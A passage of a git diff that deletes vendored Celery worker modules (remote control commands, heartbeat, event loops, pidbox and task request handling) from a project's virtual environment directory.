args=[('samples', int)], - signature='[n_samples=10]', -) -def memdump(state, samples=10, **kwargs): # pragma: no cover - """Dump statistics of previous memsample requests.""" - from celery.utils import debug - out = io.StringIO() - debug.memdump(file=out) - return out.getvalue() - -# -- Pool - - -@control_command( - args=[('n', int)], - signature='[N=1]', -) -def pool_grow(state, n=1, **kwargs): - """Grow pool by n processes/threads.""" - if state.consumer.controller.autoscaler: - return nok("pool_grow is not supported with autoscale. Adjust autoscale range instead.") - else: - state.consumer.pool.grow(n) - state.consumer._update_prefetch_count(n) - return ok('pool will grow') - - -@control_command( - args=[('n', int)], - signature='[N=1]', -) -def pool_shrink(state, n=1, **kwargs): - """Shrink pool by n processes/threads.""" - if state.consumer.controller.autoscaler: - return nok("pool_shrink is not supported with autoscale. Adjust autoscale range instead.") - else: - state.consumer.pool.shrink(n) - state.consumer._update_prefetch_count(-n) - return ok('pool will shrink') - - -@control_command() -def pool_restart(state, modules=None, reload=False, reloader=None, **kwargs): - """Restart execution pool.""" - if state.app.conf.worker_pool_restarts: - state.consumer.controller.reload(modules, reload, reloader=reloader) - return ok('reload started') - else: - raise ValueError('Pool restarts not enabled') - - -@control_command( - args=[('max', int), ('min', int)], - signature='[max [min]]', -) -def autoscale(state, max=None, min=None): - """Modify autoscale settings.""" - autoscaler = state.consumer.controller.autoscaler - if autoscaler: - max_, min_ = autoscaler.update(max, min) - return ok(f'autoscale now max={max_} min={min_}') - raise ValueError('Autoscale not enabled') - - -@control_command() -def shutdown(state, msg='Got shutdown from remote', **kwargs): - """Shutdown worker(s).""" - logger.warning(msg) - raise WorkerShutdown(EX_OK) - - -# -- Queues - -@control_command( - args=[ - ('queue', str), - ('exchange', str), - ('exchange_type', str), - ('routing_key', str), - ], - signature=' [exchange [type [routing_key]]]', -) -def add_consumer(state, queue, exchange=None, exchange_type=None, - routing_key=None, **options): - """Tell worker(s) to consume from task queue by name.""" - state.consumer.call_soon( - state.consumer.add_task_queue, - queue, exchange, exchange_type or 'direct', routing_key, **options) - return ok(f'add consumer {queue}') - - -@control_command( - args=[('queue', str)], - signature='', -) -def cancel_consumer(state, queue, **_): - """Tell worker(s) to stop consuming from task queue by name.""" - state.consumer.call_soon( - state.consumer.cancel_task_queue, queue, - ) - return ok(f'no longer consuming from {queue}') - - -@inspect_command() -def active_queues(state): - """List the task queues a worker is currently consuming from.""" - if state.consumer.task_consumer: - return [dict(queue.as_dict(recurse=True)) - for queue in state.consumer.task_consumer.queues] - return [] diff --git a/venv/Lib/site-packages/celery/worker/heartbeat.py b/venv/Lib/site-packages/celery/worker/heartbeat.py deleted file mode 100644 index efdcc3b43d0ed78e099fa14afc63fa0b21763cfc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/heartbeat.py +++ /dev/null @@ -1,61 +0,0 @@ -"""Heartbeat service. - -This is the internal thread responsible for sending heartbeat events -at regular intervals (may not be an actual thread). -""" -from celery.signals import heartbeat_sent -from celery.utils.sysinfo import load_average - -from .state import SOFTWARE_INFO, active_requests, all_total_count - -__all__ = ('Heart',) - - -class Heart: - """Timer sending heartbeats at regular intervals. - - Arguments: - timer (kombu.asynchronous.timer.Timer): Timer to use. - eventer (celery.events.EventDispatcher): Event dispatcher - to use. - interval (float): Time in seconds between sending - heartbeats. Default is 2 seconds. - """ - - def __init__(self, timer, eventer, interval=None): - self.timer = timer - self.eventer = eventer - self.interval = float(interval or 2.0) - self.tref = None - - # Make event dispatcher start/stop us when enabled/disabled. - self.eventer.on_enabled.add(self.start) - self.eventer.on_disabled.add(self.stop) - - # Only send heartbeat_sent signal if it has receivers. - self._send_sent_signal = ( - heartbeat_sent.send if heartbeat_sent.receivers else None) - - def _send(self, event, retry=True): - if self._send_sent_signal is not None: - self._send_sent_signal(sender=self) - return self.eventer.send(event, freq=self.interval, - active=len(active_requests), - processed=all_total_count[0], - loadavg=load_average(), - retry=retry, - **SOFTWARE_INFO) - - def start(self): - if self.eventer.enabled: - self._send('worker-online') - self.tref = self.timer.call_repeatedly( - self.interval, self._send, ('worker-heartbeat',), - ) - - def stop(self): - if self.tref is not None: - self.timer.cancel(self.tref) - self.tref = None - if self.eventer.enabled: - self._send('worker-offline', retry=False) diff --git a/venv/Lib/site-packages/celery/worker/loops.py b/venv/Lib/site-packages/celery/worker/loops.py deleted file mode 100644 index 5c36f15da6d16666d5f594c2a53b27928937282e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/loops.py +++ /dev/null @@ -1,168 +0,0 @@ -"""The consumers highly-optimized inner loop.""" -import errno -import socket - -from celery import bootsteps -from celery.exceptions import WorkerLostError -from celery.utils.log import get_logger - -from . import state - -__all__ = ('asynloop', 'synloop') - -# pylint: disable=redefined-outer-name -# We cache globals and attribute lookups, so disable this warning. - -logger = get_logger(__name__) - - -def _quick_drain(connection, timeout=0.1): - try: - connection.drain_events(timeout=timeout) - except Exception as exc: # pylint: disable=broad-except - exc_errno = getattr(exc, 'errno', None) - if exc_errno is not None and exc_errno != errno.EAGAIN: - raise - - -def _enable_amqheartbeats(timer, connection, rate=2.0): - heartbeat_error = [None] - - if not connection: - return heartbeat_error - - heartbeat = connection.get_heartbeat_interval() # negotiated - if not (heartbeat and connection.supports_heartbeats): - return heartbeat_error - - def tick(rate): - try: - connection.heartbeat_check(rate) - except Exception as e: - # heartbeat_error is passed by reference can be updated - # no append here list should be fixed size=1 - heartbeat_error[0] = e - - timer.call_repeatedly(heartbeat / rate, tick, (rate,)) - return heartbeat_error - - -def asynloop(obj, connection, consumer, blueprint, hub, qos, - heartbeat, clock, hbrate=2.0): - """Non-blocking event loop.""" - RUN = bootsteps.RUN - update_qos = qos.update - errors = connection.connection_errors - - on_task_received = obj.create_task_handler() - - heartbeat_error = _enable_amqheartbeats(hub.timer, connection, rate=hbrate) - - consumer.on_message = on_task_received - obj.controller.register_with_event_loop(hub) - obj.register_with_event_loop(hub) - consumer.consume() - obj.on_ready() - - # did_start_ok will verify that pool processes were able to start, - # but this will only work the first time we start, as - # maxtasksperchild will mess up metrics. - if not obj.restart_count and not obj.pool.did_start_ok(): - raise WorkerLostError('Could not start worker processes') - - # consumer.consume() may have prefetched up to our - # limit - drain an event so we're in a clean state - # prior to starting our event loop. - if connection.transport.driver_type == 'amqp': - hub.call_soon(_quick_drain, connection) - - # FIXME: Use loop.run_forever - # Tried and works, but no time to test properly before release. - hub.propagate_errors = errors - loop = hub.create_loop() - - try: - while blueprint.state == RUN and obj.connection: - state.maybe_shutdown() - if heartbeat_error[0] is not None: - raise heartbeat_error[0] - - # We only update QoS when there's no more messages to read. - # This groups together qos calls, and makes sure that remote - # control commands will be prioritized over task messages. - if qos.prev != qos.value: - update_qos() - - try: - next(loop) - except StopIteration: - loop = hub.create_loop() - except Exception: - # Reset the hub on error (e.g. connection loss) to clean up - # stale file descriptors and callbacks from the old connection. - # Also clear the timer queue so that stale periodic entries added by - # register_with_event_loop (e.g. maybe_restore_messages) do not fire - # against the broken connection after reconnect and trigger another - # crash before the new connection is fully established. - # All hub timers are re-registered during blueprint.start() once this - # exception propagates and the consumer reconnects. - # We intentionally do NOT reset on normal exit (graceful shutdown) - # so that timers (e.g. heartbeat) keep firing while the pool drains. - # WorkerShutdown/WorkerTerminate extend SystemExit (not Exception) - # so they won't be caught here. - try: - hub.reset() - except Exception as exc: # pylint: disable=broad-except - logger.exception( - 'Error cleaning up after event loop: %r', exc) - # Clear stale timer entries accumulated across reconnects (e.g. - # maybe_restore_messages registered via call_repeatedly). Without - # this, each reconnect appends a new entry; all of them fire during - # the reconnect window, raise again, and trigger another restart. - # Use a separate try/except so this always runs even if hub.reset() - # raised above. Timers are re-registered by register_with_event_loop - # when blueprint.start() is called after reconnect. - try: - hub.timer.clear() - except Exception as exc: # pylint: disable=broad-except - logger.exception( - 'Error clearing hub timer after event loop: %r', exc) - raise - - -def synloop(obj, connection, consumer, blueprint, hub, qos, - heartbeat, clock, hbrate=2.0, **kwargs): - """Fallback blocking event loop for transports that doesn't support AIO.""" - RUN = bootsteps.RUN - on_task_received = obj.create_task_handler() - perform_pending_operations = obj.perform_pending_operations - heartbeat_error = [None] - if getattr(obj.pool, 'is_green', False): - heartbeat_error = _enable_amqheartbeats(obj.timer, connection, rate=hbrate) - consumer.on_message = on_task_received - consumer.consume() - - obj.on_ready() - - def _loop_cycle(): - """ - Perform one iteration of the blocking event loop. - """ - if heartbeat_error[0] is not None: - raise heartbeat_error[0] - if qos.prev != qos.value: - qos.update() - try: - perform_pending_operations() - connection.drain_events(timeout=2.0) - except socket.timeout: - pass - except OSError: - if blueprint.state == RUN: - raise - - while blueprint.state == RUN and obj.connection: - try: - state.maybe_shutdown() - finally: - _loop_cycle() diff --git a/venv/Lib/site-packages/celery/worker/pidbox.py b/venv/Lib/site-packages/celery/worker/pidbox.py deleted file mode 100644 index a18b433826fc5f0eaaccaa87cc8896a053205042..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/pidbox.py +++ /dev/null @@ -1,122 +0,0 @@ -"""Worker Pidbox (remote control).""" -import socket -import threading - -from kombu.common import ignore_errors -from kombu.utils.encoding import safe_str - -from celery.utils.collections import AttributeDict -from celery.utils.functional import pass1 -from celery.utils.log import get_logger - -from . import control - -__all__ = ('Pidbox', 'gPidbox') - -logger = get_logger(__name__) -debug, error, info = logger.debug, logger.error, logger.info - - -class Pidbox: - """Worker mailbox.""" - - consumer = None - - def __init__(self, c): - self.c = c - self.hostname = c.hostname - self.node = c.app.control.mailbox.Node( - safe_str(c.hostname), - handlers=control.Panel.data, - state=AttributeDict( - app=c.app, - hostname=c.hostname, - consumer=c, - tset=pass1 if c.controller.use_eventloop else set), - ) - self._forward_clock = self.c.app.clock.forward - - def on_message(self, body, message): - # just increase clock as clients usually don't - # have a valid clock to adjust with. - self._forward_clock() - try: - self.node.handle_message(body, message) - except KeyError as exc: - error('No such control command: %s', exc) - except Exception as exc: - error('Control command error: %r', exc, exc_info=True) - self.reset() - - def start(self, c): - self.node.channel = c.connection.channel() - self.consumer = self.node.listen(callback=self.on_message) - self.consumer.on_decode_error = c.on_decode_error - - def on_stop(self): - pass - - def stop(self, c): - self.on_stop() - self.consumer = self._close_channel(c) - - def reset(self): - self.stop(self.c) - self.start(self.c) - - def _close_channel(self, c): - if self.node and self.node.channel: - ignore_errors(c, self.node.channel.close) - - def shutdown(self, c): - self.on_stop() - if self.consumer: - debug('Canceling broadcast consumer...') - ignore_errors(c, self.consumer.cancel) - self.stop(self.c) - - -class gPidbox(Pidbox): - """Worker pidbox (greenlet).""" - - _node_shutdown = None - _node_stopped = None - _resets = 0 - - def start(self, c): - c.pool.spawn_n(self.loop, c) - - def on_stop(self): - if self._node_stopped: - self._node_shutdown.set() - debug('Waiting for broadcast thread to shutdown...') - self._node_stopped.wait() - self._node_stopped = self._node_shutdown = None - - def reset(self): - self._resets += 1 - - def _do_reset(self, c, connection): - self._close_channel(c) - self.node.channel = connection.channel() - self.consumer = self.node.listen(callback=self.on_message) - self.consumer.consume() - - def loop(self, c): - resets = [self._resets] - shutdown = self._node_shutdown = threading.Event() - stopped = self._node_stopped = threading.Event() - try: - with c.connection_for_read() as connection: - info('pidbox: Connected to %s.', connection.as_uri()) - self._do_reset(c, connection) - while not shutdown.is_set() and c.connection: - if resets[0] < self._resets: - resets[0] += 1 - self._do_reset(c, connection) - try: - connection.drain_events(timeout=1.0) - except socket.timeout: - pass - finally: - stopped.set() diff --git a/venv/Lib/site-packages/celery/worker/request.py b/venv/Lib/site-packages/celery/worker/request.py deleted file mode 100644 index 4eaab75675ed6aeb8d6ce8050907be6c9bbe61d5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/request.py +++ /dev/null @@ -1,806 +0,0 @@ -"""Task request. - -This module defines the :class:`Request` class, that specifies -how tasks are executed. -""" -import logging -import sys -from datetime import datetime -from time import monotonic, time -from weakref import ref - -from billiard.common import TERM_SIGNAME -from billiard.einfo import ExceptionWithTraceback -from kombu.utils.encoding import safe_repr, safe_str -from kombu.utils.objects import cached_property - -from celery import current_app, signals -from celery.app.task import Context -from celery.app.trace import fast_trace_task, trace_task, trace_task_ret -from celery.concurrency.base import BasePool -from celery.exceptions import (Ignore, InvalidTaskError, Reject, Retry, TaskRevokedError, Terminated, - TimeLimitExceeded, WorkerLostError) -from celery.platforms import signals as _signals -from celery.utils.functional import maybe, maybe_list, noop -from celery.utils.log import get_logger -from celery.utils.nodenames import gethostname -from celery.utils.serialization import get_pickled_exception -from celery.utils.time import maybe_iso8601, maybe_make_aware, timezone - -from . import state - -__all__ = ('Request',) - -# pylint: disable=redefined-outer-name -# We cache globals and attribute lookups, so disable this warning. - -IS_PYPY = hasattr(sys, 'pypy_version_info') - -logger = get_logger(__name__) -debug, info, warn, error = (logger.debug, logger.info, - logger.warning, logger.error) -_does_info = False -_does_debug = False - - -def __optimize__(): - # this is also called by celery.app.trace.setup_worker_optimizations - global _does_debug - global _does_info - _does_debug = logger.isEnabledFor(logging.DEBUG) - _does_info = logger.isEnabledFor(logging.INFO) - - -__optimize__() - -# Localize -tz_or_local = timezone.tz_or_local -send_revoked = signals.task_revoked.send -send_retry = signals.task_retry.send - -task_accepted = state.task_accepted -task_ready = state.task_ready -revoked_tasks = state.revoked -revoked_stamps = state.revoked_stamps - - -class Request: - """A request for task execution.""" - - acknowledged = False - time_start = None - worker_pid = None - time_limits = (None, None) - _already_revoked = False - _already_cancelled = False - _terminate_on_ack = None - _apply_result = None - _tzlocal = None - - if not IS_PYPY: # pragma: no cover - __slots__ = ( - '_app', '_type', 'name', 'id', '_root_id', '_parent_id', - '_on_ack', '_body', '_hostname', '_eventer', '_connection_errors', - '_task', '_eta', '_expires', '_request_dict', '_on_reject', '_utc', - '_content_type', '_content_encoding', '_argsrepr', '_kwargsrepr', - '_args', '_kwargs', '_decoded', '__payload', - '__weakref__', '__dict__', - ) - - def __init__(self, message, on_ack=noop, - hostname=None, eventer=None, app=None, - connection_errors=None, request_dict=None, - task=None, on_reject=noop, body=None, - headers=None, decoded=False, utc=True, - maybe_make_aware=maybe_make_aware, - maybe_iso8601=maybe_iso8601, **opts): - self._message = message - self._request_dict = (message.headers.copy() if headers is None - else headers.copy()) - self._body = message.body if body is None else body - self._app = app - self._utc = utc - self._decoded = decoded - if decoded: - self._content_type = self._content_encoding = None - else: - self._content_type, self._content_encoding = ( - message.content_type, message.content_encoding, - ) - self.__payload = self._body if self._decoded else message.payload - self.id = self._request_dict['id'] - self._type = self.name = self._request_dict['task'] - if 'shadow' in self._request_dict: - self.name = self._request_dict['shadow'] or self.name - self._root_id = self._request_dict.get('root_id') - self._parent_id = self._request_dict.get('parent_id') - timelimit = self._request_dict.get('timelimit', None) - if timelimit: - self.time_limits = timelimit - self._argsrepr = self._request_dict.get('argsrepr', '') - self._kwargsrepr = self._request_dict.get('kwargsrepr', '') - self._on_ack = on_ack - self._on_reject = on_reject - self._hostname = hostname or gethostname() - self._eventer = eventer - self._connection_errors = connection_errors or () - self._task = task or self._app.tasks[self._type] - ignore_result = self._request_dict.get('ignore_result', None) - if ignore_result is None: - ignore_result = self._task.ignore_result - self._ignore_result = ignore_result - - # timezone means the message is timezone-aware, and the only timezone - # supported at this point is UTC. - eta = self._request_dict.get('eta') - if eta is not None: - try: - eta = maybe_iso8601(eta) - except (AttributeError, ValueError, TypeError) as exc: - raise InvalidTaskError( - f'invalid ETA value {eta!r}: {exc}') - self._eta = maybe_make_aware(eta, self.tzlocal) - else: - self._eta = None - - expires = self._request_dict.get('expires') - if expires is not None: - try: - expires = maybe_iso8601(expires) - except (AttributeError, ValueError, TypeError) as exc: - raise InvalidTaskError( - f'invalid expires value {expires!r}: {exc}') - self._expires = maybe_make_aware(expires, self.tzlocal) - else: - self._expires = None - - delivery_info = message.delivery_info or {} - properties = message.properties or {} - self._delivery_info = { - 'exchange': delivery_info.get('exchange'), - 'routing_key': delivery_info.get('routing_key'), - 'priority': properties.get('priority'), - 'redelivered': delivery_info.get('redelivered', False), - } - self._request_dict.update({ - 'properties': properties, - 'reply_to': properties.get('reply_to'), - 'correlation_id': properties.get('correlation_id'), - 'hostname': self._hostname, - 'delivery_info': self._delivery_info - }) - # this is a reference pass to avoid memory usage burst - self._request_dict['args'], self._request_dict['kwargs'], _ = self.__payload - self._args = self._request_dict['args'] - self._kwargs = self._request_dict['kwargs'] - - @property - def delivery_info(self): - return self._delivery_info - - @property - def message(self): - return self._message - - @property - def request_dict(self): - return self._request_dict - - @property - def body(self): - return self._body - - @property - def app(self): - return self._app - - @property - def utc(self): - return self._utc - - @property - def content_type(self): - return self._content_type - - @property - def content_encoding(self): - return self._content_encoding - - @property - def type(self): - return self._type - - @property - def root_id(self): - return self._root_id - - @property - def parent_id(self): - return self._parent_id - - @property - def argsrepr(self): - return self._argsrepr - - @property - def args(self): - return self._args - - @property - def kwargs(self): - return self._kwargs - - @property - def kwargsrepr(self): - return self._kwargsrepr - - @property - def on_ack(self): - return self._on_ack - - @property - def on_reject(self): - return self._on_reject - - @on_reject.setter - def on_reject(self, value): - self._on_reject = value - - @property - def hostname(self): - return self._hostname - - @property - def ignore_result(self): - return self._ignore_result - - @property - def eventer(self): - return self._eventer - - @eventer.setter - def eventer(self, eventer): - self._eventer = eventer - - @property - def connection_errors(self): - return self._connection_errors - - @property - def task(self): - return self._task - - @property - def eta(self): - return self._eta - - @property - def expires(self): - return self._expires - - @expires.setter - def expires(self, value): - self._expires = value - - @property - def tzlocal(self): - if self._tzlocal is None: - self._tzlocal = self._app.conf.timezone - return self._tzlocal - - @property - def store_errors(self): - return (not self._ignore_result or - self.task.store_errors_even_if_ignored) - - @property - def task_id(self): - # XXX compat - return self.id - - @task_id.setter - def task_id(self, value): - self.id = value - - @property - def task_name(self): - # XXX compat - return self.name - - @task_name.setter - def task_name(self, value): - self.name = value - - @property - def reply_to(self): - # used by rpc backend when failures reported by parent process - return self._request_dict['reply_to'] - - @property - def replaced_task_nesting(self): - return self._request_dict.get('replaced_task_nesting', 0) - - @property - def groups(self): - return self._request_dict.get('groups', []) - - @property - def stamped_headers(self) -> list: - return self._request_dict.get('stamped_headers') or [] - - @property - def stamps(self) -> dict: - stamps = self._request_dict.get('stamps') or {} - return {header: stamps.get(header) for header in self.stamped_headers} - - @property - def correlation_id(self): - # used similarly to reply_to - return self._request_dict['correlation_id'] - - def execute_using_pool(self, pool: BasePool, **kwargs): - """Used by the worker to send this task to the pool. - - Arguments: - pool (~celery.concurrency.base.TaskPool): The execution pool - used to execute this request. - - Raises: - celery.exceptions.TaskRevokedError: if the task was revoked. - """ - task_id = self.id - task = self._task - if self.revoked(): - raise TaskRevokedError(task_id) - - time_limit, soft_time_limit = self.time_limits - trace = fast_trace_task if self._app.use_fast_trace_task else trace_task_ret - result = pool.apply_async( - trace, - args=(self._type, task_id, self._request_dict, self._body, - self._content_type, self._content_encoding), - accept_callback=self.on_accepted, - timeout_callback=self.on_timeout, - callback=self.on_success, - error_callback=self.on_failure, - soft_timeout=soft_time_limit or task.soft_time_limit, - timeout=time_limit or task.time_limit, - correlation_id=task_id, - ) - # cannot create weakref to None - self._apply_result = maybe(ref, result) - return result - - def execute(self, loglevel=None, logfile=None): - """Execute the task in a :func:`~celery.app.trace.trace_task`. - - Arguments: - loglevel (int): The loglevel used by the task. - logfile (str): The logfile used by the task. - """ - if self.revoked(): - return - - # acknowledge task as being processed. - if not self.task.acks_late: - self.acknowledge() - - _, _, embed = self._payload - request = self._request_dict - # pylint: disable=unpacking-non-sequence - # payload is a property, so pylint doesn't think it's a tuple. - request.update({ - 'loglevel': loglevel, - 'logfile': logfile, - 'is_eager': False, - }, **embed or {}) - - retval, I, _, _ = trace_task(self.task, self.id, self._args, self._kwargs, request, - hostname=self._hostname, loader=self._app.loader, - app=self._app) - - if I: - self.reject(requeue=False) - else: - self.acknowledge() - return retval - - def maybe_expire(self): - """If expired, mark the task as revoked.""" - if self.expires: - now = datetime.now(self.expires.tzinfo) - if now > self.expires: - revoked_tasks.add(self.id) - return True - - def terminate(self, pool, signal=None): - signal = _signals.signum(signal or TERM_SIGNAME) - if self.time_start: - pool.terminate_job(self.worker_pid, signal) - self._announce_revoked('terminated', True, signal, False) - else: - self._terminate_on_ack = pool, signal - if self._apply_result is not None: - obj = self._apply_result() # is a weakref - if obj is not None: - obj.terminate(signal) - - def cancel(self, pool, signal=None, emit_retry=True): - signal = _signals.signum(signal or TERM_SIGNAME) - if self.time_start: - pool.terminate_job(self.worker_pid, signal) - self._announce_cancelled(emit_retry=emit_retry) - - if self._apply_result is not None: - obj = self._apply_result() # is a weakref - if obj is not None: - obj.terminate(signal) - - def _announce_cancelled(self, emit_retry=True): - task_ready(self) - self.send_event('task-cancelled') - - if emit_retry: - reason = 'cancelled by Celery' - exc = Retry(message=reason) - self.task.backend.mark_as_retry(self.id, - exc, - request=self._context) - - self.task.on_retry(exc, self.id, self.args, self.kwargs, None) - - self._already_cancelled = True - - if emit_retry: - send_retry(self.task, request=self._context, einfo=None) - - def _announce_revoked(self, reason, terminated, signum, expired): - task_ready(self) - self.send_event('task-revoked', - terminated=terminated, signum=signum, expired=expired) - self.task.backend.mark_as_revoked( - self.id, reason, request=self._context, - store_result=self.store_errors, - ) - self.acknowledge() - self._already_revoked = True - send_revoked(self.task, request=self._context, - terminated=terminated, signum=signum, expired=expired) - - def revoked(self): - """If revoked, skip task and mark state.""" - expired = False - if self._already_revoked: - return True - if self.expires: - expired = self.maybe_expire() - revoked_by_id = self.id in revoked_tasks - revoked_by_header, revoking_header = False, None - - if not revoked_by_id and self.stamped_headers: - for stamp in self.stamped_headers: - if stamp in revoked_stamps: - revoked_header = revoked_stamps[stamp] - stamped_header = self._message.headers['stamps'][stamp] - - if isinstance(stamped_header, (list, tuple)): - for stamped_value in stamped_header: - if stamped_value in maybe_list(revoked_header): - revoked_by_header = True - revoking_header = {stamp: stamped_value} - break - else: - revoked_by_header = any([ - stamped_header in maybe_list(revoked_header), - stamped_header == revoked_header, # When the header is a single set value - ]) - revoking_header = {stamp: stamped_header} - break - - if any((expired, revoked_by_id, revoked_by_header)): - log_msg = 'Discarding revoked task: %s[%s]' - if revoked_by_header: - log_msg += ' (revoked by header: %s)' % revoking_header - info(log_msg, self.name, self.id) - self._announce_revoked( - 'expired' if expired else 'revoked', False, None, expired, - ) - return True - return False - - def send_event(self, type, **fields): - if self._eventer and self._eventer.enabled and self.task.send_events: - self._eventer.send(type, uuid=self.id, **fields) - - def on_accepted(self, pid, time_accepted): - """Handler called when task is accepted by worker pool.""" - self.worker_pid = pid - # Convert monotonic time_accepted to absolute time - self.time_start = time() - (monotonic() - time_accepted) - task_accepted(self) - if not self.task.acks_late: - self.acknowledge() - self.send_event('task-started') - if _does_debug: - debug('Task accepted: %s[%s] pid:%r', self.name, self.id, pid) - if self._terminate_on_ack is not None: - self.terminate(*self._terminate_on_ack) - - def on_timeout(self, soft, timeout): - """Handler called if the task times out.""" - if soft: - warn('Soft time limit (%ss) exceeded for %s[%s]', - timeout, self.name, self.id) - else: - task_ready(self) - # This is a special case where the task timeout handling is done during - # the cold shutdown process. - if not state.should_terminate: - error('Hard time limit (%ss) exceeded for %s[%s]', timeout, self.name, self.id) - exc = TimeLimitExceeded(timeout) - - self.task.backend.mark_as_failure( - self.id, exc, request=self._context, - store_result=self.store_errors, - ) - - if self.task.acks_late and self.task.acks_on_failure_or_timeout: - self.acknowledge() - - def on_success(self, failed__retval__runtime, **kwargs): - """Handler called if the task was successfully processed.""" - failed, retval, runtime = failed__retval__runtime - if failed: - exc = retval.exception - if isinstance(exc, ExceptionWithTraceback): - exc = exc.exc - if isinstance(exc, (SystemExit, KeyboardInterrupt)): - raise exc - return self.on_failure(retval, return_ok=True) - task_ready(self, successful=True) - - if self.task.acks_late: - self.acknowledge() - - self.send_event('task-succeeded', result=retval, runtime=runtime) - - def on_retry(self, exc_info): - """Handler called if the task should be retried.""" - if self.task.acks_late: - self.acknowledge() - - self.send_event('task-retried', - exception=safe_repr(exc_info.exception.exc), - traceback=safe_str(exc_info.traceback)) - - def on_failure(self, exc_info, send_failed_event=True, return_ok=False): - """Handler called if the task raised an exception.""" - task_ready(self) - exc = exc_info.exception - - if isinstance(exc, ExceptionWithTraceback): - exc = exc.exc - - is_terminated = isinstance(exc, Terminated) - if is_terminated: - # If the task was terminated and the task was not cancelled due - # to a connection loss, it is revoked. - - # We always cancel the tasks inside the master process. - # If the request was cancelled, it was not revoked and there's - # nothing to be done. - # According to the comment below, we need to check if the task - # is already revoked and if it wasn't, we should announce that - # it was. - if not self._already_cancelled and not self._already_revoked: - # This is a special case where the process - # would not have had time to write the result. - self._announce_revoked( - 'terminated', True, str(exc), False) - return - elif isinstance(exc, MemoryError): - raise MemoryError(f'Process got: {exc}') - elif isinstance(exc, Reject): - return self.reject(requeue=exc.requeue) - elif isinstance(exc, Ignore): - return self.acknowledge() - elif isinstance(exc, Retry): - return self.on_retry(exc_info) - - # (acks_late) acknowledge after result stored. - requeue = False - is_worker_lost = isinstance(exc, WorkerLostError) - if self.task.acks_late: - reject = ( - (self.task.reject_on_worker_lost and is_worker_lost) - or (isinstance(exc, TimeLimitExceeded) and not self.task.acks_on_failure_or_timeout) - ) - ack = self.task.acks_on_failure_or_timeout - if reject: - requeue = True - self.reject(requeue=requeue) - send_failed_event = False - elif ack: - self.acknowledge() - else: - # supporting the behaviour where a task failed and - # need to be removed from prefetched local queue - self.reject(requeue=False) - - # This is a special case where the task failure handling is done during - # the cold shutdown process. - if state.should_terminate: - return_ok = True - send_failed_event = False - - # This is a special case where the process would not have had time - # to write the result. - if not requeue and (is_worker_lost or not return_ok): - # only mark as failure if task has not been requeued - self.task.backend.mark_as_failure( - self.id, exc, request=self._context, - store_result=self.store_errors, - ) - - signals.task_failure.send(sender=self.task, task_id=self.id, - exception=exc, args=self.args, - kwargs=self.kwargs, - traceback=exc_info.traceback, - einfo=exc_info) - - if send_failed_event: - self.send_event( - 'task-failed', - exception=safe_repr(get_pickled_exception(exc_info.exception)), - traceback=exc_info.traceback, - ) - - if not return_ok: - error('Task handler raised error: %r', exc, - exc_info=exc_info.exc_info) - - def acknowledge(self): - """Acknowledge task.""" - if not self.acknowledged: - self._on_ack(logger, self._connection_errors) - self.acknowledged = True - - def reject(self, requeue=False): - if not self.acknowledged: - self._on_reject(logger, self._connection_errors, requeue) - self.acknowledged = True - self.send_event('task-rejected', requeue=requeue) - - def info(self, safe=False): - return { - 'id': self.id, - 'name': self.name, - 'args': self._args if not safe else self._argsrepr, - 'kwargs': self._kwargs if not safe else self._kwargsrepr, - 'type': self._type, - 'hostname': self._hostname, - 'time_start': self.time_start, - 'acknowledged': self.acknowledged, - 'delivery_info': self.delivery_info, - 'worker_pid': self.worker_pid, - } - - def humaninfo(self): - return '{0.name}[{0.id}]'.format(self) - - def __str__(self): - """``str(self)``.""" - return ' '.join([ - self.humaninfo(), - f' ETA:[{self._eta}]' if self._eta else '', - f' expires:[{self._expires}]' if self._expires else '', - ]).strip() - - def __repr__(self): - """``repr(self)``.""" - return '<{}: {} {} {}>'.format( - type(self).__name__, self.humaninfo(), - self._argsrepr, self._kwargsrepr, - ) - - @cached_property - def _payload(self): - return self.__payload - - @cached_property - def chord(self): - # used by backend.mark_as_failure when failure is reported - # by parent process - # pylint: disable=unpacking-non-sequence - # payload is a property, so pylint doesn't think it's a tuple. - _, _, embed = self._payload - return embed.get('chord') - - @cached_property - def errbacks(self): - # used by backend.mark_as_failure when failure is reported - # by parent process - # pylint: disable=unpacking-non-sequence - # payload is a property, so pylint doesn't think it's a tuple. - _, _, embed = self._payload - return embed.get('errbacks') - - @cached_property - def group(self): - # used by backend.on_chord_part_return when failures reported - # by parent process - return self._request_dict.get('group') - - @cached_property - def _context(self): - """Context (:class:`~celery.app.task.Context`) of this task.""" - request = self._request_dict - # pylint: disable=unpacking-non-sequence - # payload is a property, so pylint doesn't think it's a tuple. - _, _, embed = self._payload - request.update(**embed or {}) - return Context(request) - - @cached_property - def group_index(self): - # used by backend.on_chord_part_return to order return values in group - return self._request_dict.get('group_index') - - -def create_request_cls(base, task, pool, hostname, eventer, - ref=ref, revoked_tasks=revoked_tasks, - task_ready=task_ready, trace=None, app=current_app): - default_time_limit = task.time_limit - default_soft_time_limit = task.soft_time_limit - apply_async = pool.apply_async - acks_late = task.acks_late - events = eventer and eventer.enabled - - if trace is None: - trace = fast_trace_task if app.use_fast_trace_task else trace_task_ret - - class Request(base): - - def execute_using_pool(self, pool, **kwargs): - task_id = self.task_id - if self.revoked(): - raise TaskRevokedError(task_id) - - time_limit, soft_time_limit = self.time_limits - result = apply_async( - trace, - args=(self.type, task_id, self.request_dict, self.body, - self.content_type, self.content_encoding), - accept_callback=self.on_accepted, - timeout_callback=self.on_timeout, - callback=self.on_success, - error_callback=self.on_failure, - soft_timeout=soft_time_limit or default_soft_time_limit, - timeout=time_limit or default_time_limit, - correlation_id=task_id, - ) - # cannot create weakref to None - # pylint: disable=attribute-defined-outside-init - self._apply_result = maybe(ref, result) - return result - - def on_success(self, failed__retval__runtime, **kwargs): - failed, retval, runtime = failed__retval__runtime - if failed: - exc = retval.exception - if isinstance(exc, ExceptionWithTraceback): - exc = exc.exc - if isinstance(exc, (SystemExit, KeyboardInterrupt)): - raise exc - return self.on_failure(retval, return_ok=True) - task_ready(self, successful=True) - - if acks_late: - self.acknowledge() - - if events: - self.send_event( - 'task-succeeded', result=retval, runtime=runtime, - ) - - return Request diff --git a/venv/Lib/site-packages/celery/worker/state.py b/venv/Lib/site-packages/celery/worker/state.py deleted file mode 100644 index 8c70bbd98060335f3f004250b61224dbcbf8caed..0000000000000000000000000000000000000000 --- 